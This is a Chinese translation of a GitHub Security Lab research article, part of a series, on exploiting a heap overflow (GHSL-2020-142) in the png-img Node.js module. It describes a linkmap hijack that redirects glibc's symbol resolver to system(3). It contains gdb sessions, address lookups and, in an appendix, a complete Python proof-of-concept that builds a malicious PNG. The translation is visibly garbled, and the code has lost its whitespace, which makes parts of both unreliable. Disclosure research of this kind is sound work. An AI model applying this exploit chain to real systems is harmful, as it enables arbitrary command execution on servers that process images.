本文将通过外部函数接口进行深入探讨(Foreign Function Interface,FFI)将基于C/C 的库“粘合”在解释语言的过程中,如何产生安全漏洞。
接上文:
- 深入研究解释语言背后隐藏的攻击面,Part 1(上)》
- 深入研究解释语言背后隐藏的攻击面,Part 1(下)》
- 深入研究解释语言背后隐藏的攻击面,Part 2(一)》
- 深入研究解释语言背后隐藏的攻击面,Part 2(二)》
- 深入研究解释语言背后隐藏的攻击面,Part 2(三)》
战略规划
我们知道,虽然可以完全控制linkmap,但我们仍然无法通过硬编码来控制PLT参数传递给分析器代码reloc_arg在我们的例子中,参数,png_error的参数为0x11d(285)。这个值的作用被用作png-img模块的重定位段(.rela.plt) 的索引。
anticomputer@dc1:~$readelf-r~/node_modules/png-img/build/Release/png_img.node…Relocationsection'.rela.plt'atoffset0x9410contains378entries:OffsetInfoTypeSym.ValueSym.Name Addend…000000263900011000000007R_X86_64_JUMP_SLO000000000001cae0png_error 0...此外,我们不知道被破坏了linkmap内存中的位置。同时,由于堆的基地址是随机的,我们唯一已知的数据是拜测试平台node非二进制文件PIE因此,我们仍然无法在内存中的已知位置伪造相应的段落,以便与我们精心制作linkmap一起使用。
然而,我们现在已经达到了一个有趣的部分:制定战略,考虑如何将我们的堆内存控制与我们对分析师和目标二进制的理解相结合,并重新定向执行过程。
我们的既定目标是加载带png-img的恶意PNG执行任何命令。
任何命令执行的头脑风暴
让我们回忆一下,png_ptr分块与linkmap分块相邻。而且,,linkmap第一个字段是l_addr字段,这个字段应该是库的基地址,基于各种重定位和函数偏移。
我们可以覆盖堆数据,粒度为rowbytes,就是我们PNG图片的宽度。libpng最小接受rowbytes该值与溢出高度值相结合,即3,即我们可以采用的最小堆覆盖步骤是每行迭代3个字节。little endian我们可以覆盖平台linkmap的l_addr字段中最低有效字节png_error在其预期函数的起始地址之外,分析不会被破坏linkmap其他指针。然而,这使得我们无法调用错误对齐png_error时控制png_ptr因为控制这些数据需要覆盖一个完整的参数linkmap。事实证明,在png_error附近没有足够的有用指令来控制过程。ASLR我们不能正确理由l_addr进行更激进的局部覆盖,因为我们很快就会遇到库基地址的熵区,只有一次尝试的机会。
因此,我们需要重新规划。
理想情况下,我们可以设计一个场景,其中我们可以png_error重定位索引285提供任意重定位记录。这样的话,我们就能够完全控制(伪造的)符号表的索引。
我们可以将node的GOT段落(包括很多已经分析过的段落)libc指针)用作伪造的符号表,这样我们就可以获得现有的重定位记录libc地址为符号sym->st_value索引的方式node GOT。然后,在对的帮助下,我们可以l->l_addr从现有的控制能力来看libc偏移地址,重定向我们想要的任何其他东西libc的.text段地址。
因为我们可以分析png_error控制加载rdi寄存器中的png_ptr数据(即,根据Linux 64bit intel在平台上使用System V AMD64 ABI我们可以尝试将第一个参数分析为system(3),在我们的控制下png_ptr在数据中提供任何命令执行。
由于最终修复的重定位偏移也受到我们精心制作的重定位记录的控制,我们可以简单地控制它l->l_addr将值添加到上面,并将其指向一个安全的内存位置,以便在重定位修复之前在控制过程中幸存下来。
这将是一个理想的方案。不过,当前面临的挑战是:在已知位置没有受控数据,也无法控制reloc_arg如何提供任何重定位记录?
曙光乍现
面对上述挑战,一个重要的线索是,l_info[DT_JMPREL]是指向.dynamic该段的指针是通过解除引用获得的。正如前面所说,分析器不直接引用它需要访问的每个部分,而是指向所需部分.dynamic然后查询条目的指针d_ptr以获得指向相关段的实际指针。
更直截了当地说,解析器将使用我们的控制指针得l_info[DT_JMPREL],另一个指针值应该是该指针偏移8处的实际段地址。
这对我们有什么帮助?
嗯,我们说过:我们可以data_把块放在堆放的任何位置,但我们不能可靠地挤压它linkmap和png_ptr然而,如果我们把它放在分块之间。linkmap块前的某个地方会发生什么?这将导致大量的堆空间被覆盖,以控制堆空间中的内容。
当我们使用漏洞时,我们与堆的交互非常有限,因为没有太多的分配或释放操作。事实上,我们只是在一个循环中简单地将我们控制的数据行写入堆中,直到数据耗尽,png_error开始了解析逻辑。
所以,至少在我们的PoC在场景中,我们可以有效地覆盖相当多的堆内存,直到达到我们需要控制的数量,这不会带来太多的稳定性问题。
我们也知道,我们处理的是非PIE二进制文件。因此,我们知道它.data段的具体地址node的.data该段将含有大量的结构,可能包含指向堆内存的指针。如果我们覆盖了足够的内存空间,其中一些可能指向我们控制的数据,准确地说,这些指针将位于.data段的静态位置。
那么,如果我们重新调整其中一个,.data用于我们的位置l_info[DT_JMPREL]的.dynamic条目指针,结果如何?我们可以用它来 _dl_fixup 提供完全控制的重定位记录。因为在我们的目标平台上,重定位记录的大小是24(3x8字节),而png_error reloc_arg只要我们能把正确对齐的重定位记录放在距离获得堆指针的地方,大小是285node .data的285x24在偏移处,我们应该能够破坏分析器的逻辑。
然后,我们可以用类似的方法找到一个静态位置,在 8中包含一个方向node二进制代码GOT并将其用作指针l_info [DT_SYMTAB] .dynamic条目指针。在与制作的重定位记录一致的情况下,我们可以索引节点GOT从而获得现有的libc使用我们制作的指针值和指针值linkmap的l_addr作为一个所需的字段libc在我们的例子中,函数的增量是system(3)。
综合起来
现在,我们有了一个初步的漏洞利用策略,我们必须收集所有的元素来实施我们的攻击计划。
从漏洞利用的可靠性来看,我们当前策略的缺点是高度依赖二进制代码,对堆布局非常敏感。因此,我们认为这充其量只是一个PoC。因为它高度依赖于越来越罕见的非非PIE node从data_ chunks到linkmap和png_ptr chunks可预测堆偏移。
尽管如此,我们还是用各种防御功能在系统上练手很好。
我们需要:
- 溢出块可以放置linkmap分块的前面data_适当大小的块。
- data_ 分块和linkmap块之间的偏移。
- 从node二进制代码GOT适当的偏移量libc指针。
- 一个已知的node指针,指向一个方向node GOT基址指针。
- 一个已知的node指针,指向受控堆内存的指针。
- 从源libc指针到目标libc函数指针的偏移量。
- 用来接收最终的_dl_fixup重定位写入的安全的内存区域。
首先,让我们找一个合适的空闲块来调用PngImg::PngImg构造函数时,可以将data_将块保存在这个空闲块中。我们可以使用它gef的heap bins命令显示什么?bins内存中有可用的空闲块和位置。
我们要找的是一个和linkmap分块的位置很远,所以我们有很好的机会通过node的.data堆指针从堆中提供可控的重定位记录。但是,我们不想因为担心不稳定而破坏整个堆的内容。
我们可以在unsorted的bin找到一个看似合适的大小0x2010的空闲块:
───────────────────────────────────────UnsortedBinforarena'main_arena'───────────────────────────────────────[ ]unsorted_bins[0]:fw=0x271f0b0,bk=0x272c610→Chunk(addr=0x271f0c0,size=0x2010,flags=PREV_INUSE)→Chunk(addr=0x2722ef0,size=0x1b30,flags=PREV_INUSE)→Chunk(addr=0x2717400,size=0x430,flags=PREV_INUSE)→Chunk(addr=0x272c620,size=0x4450,flags=PREV_INUSE)[ ]Found4chunksinunsortedbin.通过将data_ size设置为0x2010,我们可以将这个空闲块塞进这个位于偏移量0x3950这个分块最终会成为我们的分块linkmap分块。当然,这种假设在任何现实中都是非常不稳定的,但在我们的实践中,假设它是成立的。
同时,我们让rowbytes(宽度)取值为16,为堆溢提供对齐细粒度的写入原语。
我们注意到符号表项长24个字节,St_value字段在Symbol因此,我们从结构体中的偏移量为8node二进制GOT中选择的libc指针(用作St_value),距离24字节对齐索引的偏移必须位于8处。例如,指定Symtab索引1的重定位记录将意味着node GOT32处偏移量取值,作为Symbol的st_value。
我们还注意到伪造符号的目的st_other字段决定了我们是否在_dl_fixup根据符号的可见性进入更复杂的符号搜索路径。因为我们喜欢尽可能简单,所以对于我们来说st_value字段之前的GOT条目应尽量不让它通过_dl_fixup中的if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other),0) == 0)检查。这实际上只意味着伪造符号表st_other字段(字节6)的低2位不应为0。当然,这需要一些运气,但大多数GOT段落中有符合这一要求的指针。另外,可见性检查采用以下宏完成:
elf.h:/*Howtoextractandinsertinformationheldinthest_otherfield.*/#defineELF32_ST_VISIBILITY(o)((o)&0x03)/*ForELF64thedefinitionsarethesame.*/#defineELF64_ST_VISIBILITY(o)ELF32_ST_VISIBILITY(o)/*Symbolvisibilityspecificationencodedinthest_otherfield.*/#defineSTV_DEFAULT0/*Defaultsymbolvisibilityrules*/#defineSTV_INTERNAL1/*Processorspecifichiddenclass*/#defineSTV_HIDDEN2/*Symunavailableinothermodules*/#defineSTV_PROTECTED3/*Notpreemptible,notexported*/在我们的测试平台上,getockopt的node二进制GOT条目符合我们的要求:前面有一个指针值,会通过ST_VISIBILITY这样我们就不用检查了linkmap使用更复杂的分析逻辑。因此,我们将使用它getockopt偏移到所需的系统libc目标。这两个libc偏移量之间的差异将是我们linkmaps l_addr设置在字段中delta值。
接下来,让我们先从node在二进制代码中收集我们需要的所有地址信息。
#grabthelibcoffsetsofgetsockoptandsystemusingreadelf-s,anticomputer@dc1:~$readelf-s/lib/x86_64-linux-gnu/libc-2.27.so...1403:000000000004f55045FUNCWEAKDEFAULT13system@@GLIBC_2.2.5959:000000000012283036FUNCWEAKDEFAULT13getsockopt@@GLIBC_2.2.5#determinethenodebinaryGOTentryforgetsockoptwithreadelf-ranticomputer@dc1:~$readelf-r/usr/bin/node|grepgetsockopt00000264d8f8011800000007R_X86_64_JUMP_SLO0000000000000000getsockopt@GLIBC_2.2.5 0#grabthenodeGOTsectionstartaddresswithreadelf-tanticomputer@dc1:~$readelf-t/usr/bin/nodeThereare40sectionheaders,startingatoffset0x274f120:SectionHeaders:[Nr]NameTypeAddressOffsetLinkSizeEntSizeInfoAlignFlags…[26].gotPROGBITSPROGBITS000000000264d038000000000204d03800000000000000fc8000000000000000808[0000000000000003]:WRITE,ALLOC接下来,我们必须在那里node的.data在我们控制的偏移量中寻找这样的堆指针285x24数据。通过一个小的GDB脚本,我们可以很快找到合格的候选人。我们的脚本将被搜索node的.data在我们控制的数据区域或附近寻找堆指针。
注:启用ASLR之后这些堆地址每次运行都会改变,所以这个脚本示例只和我们的调试会话快照有关。但是,当实际操作漏洞使用代码时,考虑是非PIE型的node二进制代码,所以我们可以期待一致.data指针位置,并预计该位置将包含在实际操作的上下文中。
gef?set$c=(unsignedlonglong*)0x264c000gef?gef?set$done=1gef?while($done)>if((*$c&0xffffffffffff0000)==0x02720000)>set$done=0>end>set$c=$c 1>endgef?p/x$c$551=0x26598c8gef?x/3gx(*($c-1)) 285*240x2726508:0x00007fff000000130x00000000000000000x2726518:0x0000000000000021gef?set$done=1gef?while($done)>if((*$c&0xffffffffffff0000)==0x02720000)>set$done=0>end>set$c=$c 1>endgef?p/x$c$552=0x265b9e8gef?x/3gx(*($c-1)) 285*240x2722f10:0x41414141414141410x41414141414141410x2722f20:0x4141414141414141gef?x/x0x265b9e00x265b9e0gef?所以我们找到了潜在的可用性.data位置(0x265b9e0),位置将包含位于偏移量的位置285x24该指针将指向受控数据。
最后,我们必须在那里node在二进制代码中找到这样的位置,它在 8处包含一个指向node的.got段指针。这并不难,因为node二进制代码肯定会引用各个二进制段。
objdump-h:25.got00000fc8000000000264d038000000000264d0380204d0382**3(gdb)set$p=(unsignedlonglong*)0x400000#searchfromnode.textbaseupwards(gdb)while(*$p!=0x000000000264d038)>set$p=$p 1>end(gdb)x/x$p0x244cf20:0x000000000264d038(gdb)现在,我们已经收集了所有的材料,这样我们就可以写了PoC代码。综上所述,我们将构建伪造linkmap,符合下列约束条件:
- l_addr字段将是libc的getockopt偏移量和libc系统偏移之间的增量。
- l_info[DT_STRTAB]条目将是一些有效的指针值,因为我们的目的是跳过基于字符串的符号搜索,它只需要能够安全地解除引用。
- l_info[DT_SYMTAB]条目将是一个指向某个位置的指针,该位置在 8处有一个指向node的.got指针段起始地址。
- l_info[DT_JMPREL]该指针将指向某一位置的指针,该指针在 8处包含一堆指针,该指针基于png_error解析的reloc_arg285 x 24处的受控伪造重定位记录。
伪造的重定位记录将是伪造的符号表(node二进制代码.got段)提供这样符号的索引st_value字段是之前分析的指向getockopt的libc指针。它还将提供重定位偏移(相对于safe-to-write内存区),这样我们的结果就可以在_dl_fixup最后一次重定位写入操作后幸存下来。
分析师会把我们放在那里linkmap的l_addr设置在字段中libc增量和伪造符号st_value加上字段,其中st_value分析存储字段getsockopt libc函数指针值。相加后,得到的是system(3)函数的libc地址。
因为我们也被摧毁了png_error的png_ptr因此,当我们最终从png_error劫持的_dl_resolve跳转到system(3)我们可以提供和执行任何命令。对于我们PoC我们将执行它“touch /tmp/itworked”命令。
用我们的PoC脚本准备好触发漏洞PNG将文件移动到我们的调试环境中:
?~?python3x_trigger.py?~?filetrigger.pngtrigger.png:PNGimagedata,16x268435968,8-bitgrayscale,non-interlaced?~?scptrigger.pnganticomputer@builder:~/trigger.png100241.7MB/s00:00?~?我们首先在调试器中运行易受攻击的攻击node在程序中设置断点system(3)上:
gef?r~/pngimg.js...[#0]0x7ffff6ac6fc0→do_system(line=0x2722ef0"touch/tmp/itworked#",'P'[#1]0x7ffff4030e63→png_read_row()[#2]0x7ffff4032899→png_read_image()[#3]0x7ffff40226d8→PngImg::PngImg(charconst*,unsignedlong)()[#4]0x7ffff401c8fa→PngImgAdapter::New(Nan::FunctionCallbackInfo[#5]0x7ffff401c56f→_ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE()[#6]0xb9041b→v8::internal::MaybeHandle[#7]0xb9277d→v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*,bool,v8::internal::Handle[#8]0xea2cc1→v8::internal::Execution::New(v8::internal::Isolate*,v8::internal::Handle[#9]0xb28ed6→v8::Function::NewInstanceWithSideEffectType(v8::Local───────────────────────────────────────────────────────────────────────────────────────────────────────────────────Thread1"node"hitBreakpoint1,do_system(line=0x2722ef0"touch/tmp/itworked#",'P'56{gef?p"success!"$1="success!"gef?太棒了!在调试阶段,代码似乎一切正常。现在,让我们在没有额外调试器的情况下运行。
anticomputer@dc1:~/glibc/glibc-2.27/elf$rm/tmp/itworkedanticomputer@dc1:~/glibc/glibc-2.27/elf$/usr/bin/node~/pngimg.jsSegmentationfault(coredumped)anticomputer@dc1:~/glibc/glibc-2.27/elf$ls-alrt/tmp/itworked-rw-rw-r--1anticomputeranticomputer0Nov2320:53/tmp/itworkedanticomputer@dc1:~/glibc/glibc-2.27/elf$尽管node过程确实因堆损坏而崩溃,但这一切都发生在任何命令执行后。
无论如何,我们的任务已经完成。
我们的PoC现在开发任务已经大功告成:我们已经利用了png-img FFI漏洞成功打通了所有环节。虽然从攻击者的角度来看,可靠性仍然是现实利用过程中的一个令人担忧的问题,但这足以让我们证明该漏洞的潜在影响。
读者可以在附录中A找到完整的exploit代码。
小结
在本系列文章中,我们使用Node.js FFI以漏洞的利用过程为例,深入介绍了隐藏在解释语言底部的攻击面。当然,我们的最终目标是通过基于内存安全漏洞的基础来展示内存安全漏洞FFI解释性语言应用程序潜入攻击面。同时,我们向读者介绍exploit开发之旅展示了攻击者如何评估代码bug潜在利用价值。
附录A: png-img PoC exploit
#PoCexploitforGHSL-2020-142,linkmaphijackdemo"""anticomputer@dc1:~/glibc/glibc-2.27/elf$uname-aLinuxdc14.15.0-122-generic#124-UbuntuSMPThuOct1513:03:05UTC2020x86_64x86_64x86_64GNU/Linuxanticomputer@dc1:~/glibc/glibc-2.27/elf$node-vv10.22.0anticomputer@dc1:~/glibc/glibc-2.27/elf$npmlistpng-img/home/anticomputer└──png-img@2.3.0anticomputer@dc1:~/glibc/glibc-2.27/elf$cat/etc/lsb-releaseDISTRIB_ID=UbuntuDISTRIB_RELEASE=18.04DISTRIB_CODENAME=bionicDISTRIB_DESCRIPTION="Ubuntu18.04.4LTS""""fromPILimportImageimportosimportstructimportsysimportzlibdefpatch(path,offset,data):f=open(path,'r b')f.seek(offset)f.write(data)f.close()#libcbinaryinfolibc_system_off=0x000000000004f550libc_getsockopt_off=0x0000000000122830libc_delta=(libc_system_off-libc_getsockopt_off)&0xffffffffffffffff#nodebinaryinfonode_getsockopt_got=0x00000264d8f8node_got_section_start=0x000000000264d038node_safe_ptr=0x000000000264e000 0x1000#calculatewhatourrelocindexshouldbetoaligngetsockoptassym->st_valuenode_reloc_index_wanted=int((node_getsockopt_got-node_got_section_start)/8)-1ifnode_reloc_index_wanted%3:print("[x]node.gotentrynotalignedtorelocrecordsize...")sys.exit(0)node_reloc_index=int(node_reloc_index_wanted/3)#ourl_info['DT_SYMTAB']entryispointerthatat 8hasapointertonode'sgotsectiondt_symtab_p=0x244cf20-8#ourl_info['DT_JMPREL']entryisapointerthatat 8hasaheappointertoourfakerelocrecordsdt_jmprel_p=0x265b9e0-8#ourl_info['DT_STRTAB']entryisjustsomevalidpointersinceweskipstringlookupsdt_symtab_pdt_symtab_p=dt_symtab_p#buildourheapoverwritetrigger='trigger.png'heap_rewrite=b''#pixelbitsis8,setrowbytesto16viawidthwidth=0x10heap_data_to_linkmap_off=0x3950-0x10#offsetfromdata_chunktolinkmapchunkheap_data_chunk_size=0x2010#needstobealignedonwidthheap_linkmap_chunk_size=0x4e0#sprayfakerelocrecordsupuntillinkmapchunkdatafake_reloc_record=b''fake_reloc_record =struct.pack('<Q',(node_safe_ptr-libc_delta)&0xffffffffffffffff)#r_offsetfake_reloc_record =struct.pack('<Q',(node_reloc_index<<32)|7)#r_info,type:ELF_MACHINE_JMP_SLOTfake_reloc_record =struct.pack('<Q',0xdeadc0dedeadc0de)#r_addendreloc_record_spray=b''reloc_align=b''reloc_record_spray =reloc_alignreloc_record_spray =fake_reloc_record*int((heap_data_to_linkmap_off-len(reloc_align))/24)reloc_record_spray =b'P'*(heap_data_to_linkmap_off-len(reloc_record_spray))heap_rewrite =reloc_record_spray#linkmapchunkoverwritefake_linkmap=b''#linkmapchunkheaderfake_linkmap =struct.pack('<Q',0x4141414141414141)fake_linkmap =struct.pack('<Q',0x4141414141414141)#keepPREV_INUSE#startoflinkmapdatafake_linkmap =struct.pack('fake_linkmap =struct.pack('<Q',0xdeadc1dedeadc0de)*12#padfake_linkmap =struct.pack('fake_linkmap =struct.pack('fake_linkmap =struct.pack('<Q',0xdeadc2dedeadc0de)*16#padfake_linkmap =struct.pack('#padupuntilpng_ptrchunkfake_linkmap =b'P'*(heap_linkmap_chunk_size-len(fake_linkmap))heap_rewrite =fake_linkmap#png_ptrchunkoverwrite,thisiswherewepackourargumenttosystem(3)cmd=b'touch/tmp/itworked#'png_ptr=b''#png_ptrchunkheaderpng_ptr =struct.pack('L',crc))#forplayingwiththeearlyfileallocationitselff=open(trigger,'ab')f_size=os.path.getsize(trigger)f_size_wanted=1024f.write(b'P'*(f_size_wanted-f_size))f.close()本文翻译自:https://securitylab.github.com/research/now-you-c-me-part-two